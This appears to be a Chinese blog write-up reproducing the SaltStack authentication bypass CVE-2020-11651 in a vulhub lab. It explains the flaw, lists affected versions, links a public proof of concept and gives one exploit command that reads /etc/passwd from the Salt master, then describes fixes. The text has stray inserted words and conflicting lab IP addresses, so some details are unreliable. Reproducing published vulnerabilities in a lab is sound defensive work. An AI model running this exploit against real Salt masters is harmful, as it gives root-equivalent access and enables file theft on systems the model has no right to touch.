CVE-2020-11651:SaltStack认证绕过复现

0x01 简介python

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。git

0x02 漏洞概述github

在 CVE-2020-11651 认证绕过漏洞中,攻击者经过构造恶意请求,能够绕过 Salt Master 的验证逻辑,调用相关未受权函数功能,从而能够形成远程命令执行漏洞:docker

ClearFuncs类会处理非认证的请求和暴露_send_pub()方法,能够用来直接在master publish服务器上对消息进行排队。这些消息能够用来触发minion来以root权限运行任意命令。安全

ClearFuncs类还会暴露 _prep_auth_info()方法,该方法会返回用来认证master服务器上本地root用户的命令的root key。而后root key就能够远程调用master 服务器的管理命令。这种无心的暴露提供给远程非认证的攻击者对salt master的与root权限等价的访问权限。服务器

0x03 影响版本架构

  1. SaltStack < 2019.2.4
  2. SaltStack < 3000.2

0x04 环境搭建函数

直接使用vulhub进行搭建工具

git clone https://github.com/vulhub/vulhub.gitspa

cd /vulhub/saltstack/CVE-2020-11651/

docker-compose up -d

查看环境是否启动docker ps

0x05 漏洞复现

Poc

https://github.com/jasperla/CVE-2020-11651-poc

执行前须要安装salt库,需指定salt库版本

pip3 install salt==2019.2.3

靶机ip:192.168.10.113

攻击机ip:192.168.10.113

读取文件:

python3 exploit.py --master 192.168.232.170 -r /etc/passwd

 

0x06 修复方式

1、SaltStack官方已发布最新版本修复此漏洞,建议相关用户及时更新至安全版本及其以上,并开启SaltStack自动更新,以便实时获取补丁或升级至安全版本:https://repo.saltstack.com/2、禁止将Salt Master默认监听端口(450五、4506)向公网开放,并设置为仅对可信对象开放。

参考连接:

https://mp.weixin.qq.com/s/4pBltA7eo58lk8WES9T4yQ